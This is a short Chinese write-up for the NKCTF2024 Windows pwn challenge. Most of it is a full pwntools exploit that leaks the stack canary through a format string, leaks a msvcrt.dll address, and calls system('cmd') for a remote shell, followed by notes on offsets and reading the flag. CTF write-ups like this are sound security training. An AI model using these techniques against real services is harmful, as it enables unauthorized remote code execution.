[NKCTF2024]-PWN:来签个到(windows pwn)

查看保护

查看ida

实际上是有canary的

完整exp:

from pwn import*
context(log_level='debug')
puts=0x403F8C
main=0x4014F1
puts_idata=0x409230
oh=0x401473


p=remote('123.60.25.223',10001)
#p=remote('127.0.0.1',1234)
payload=b' %p'*30+b'=%p'
p.sendlineafter(b'NKCTF2024',payload)
p.recvuntil(b'=')
canary=int(b'0x'+p.recv(8),16)
print(hex(canary))
payload=b'a'*(0x70-0xc)+p32(canary)+b'a'*12+p32(puts)+p32(main)+p32(puts_idata)
p.sendlineafter(b'ohhh,no',payload)
#p.recvuntil(b'0x')
puts_addr=u32(p.recv(4))
print(hex(puts_addr))
dllbase=puts_addr-0x1017BA80
system=dllbase+0x10144700
cmd=dllbase+0x101048C8
payload=b' %p'*30+b'=%p'
p.sendlineafter(b'NKCTF2024',payload)
p.recvuntil(b'=')
canary=int(b'0x'+p.recv(8),16)
print(hex(canary))
payload=b'a'*(0x70-0xc)+p32(canary)+b'a'*12+p32(system)+p32(0)+p32(cmd)
p.sendlineafter(b'ohhh,no',payload)
p.interactive()

补充点1:system之类的偏移要在msvcrt.dll里找,题目给的应该是个依赖。可以拖进ida里找

补充点2:windows的pwn没有plt和got,但是有类似的机制

补充点3:getshell之后可以用dir、type命令获取flag

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值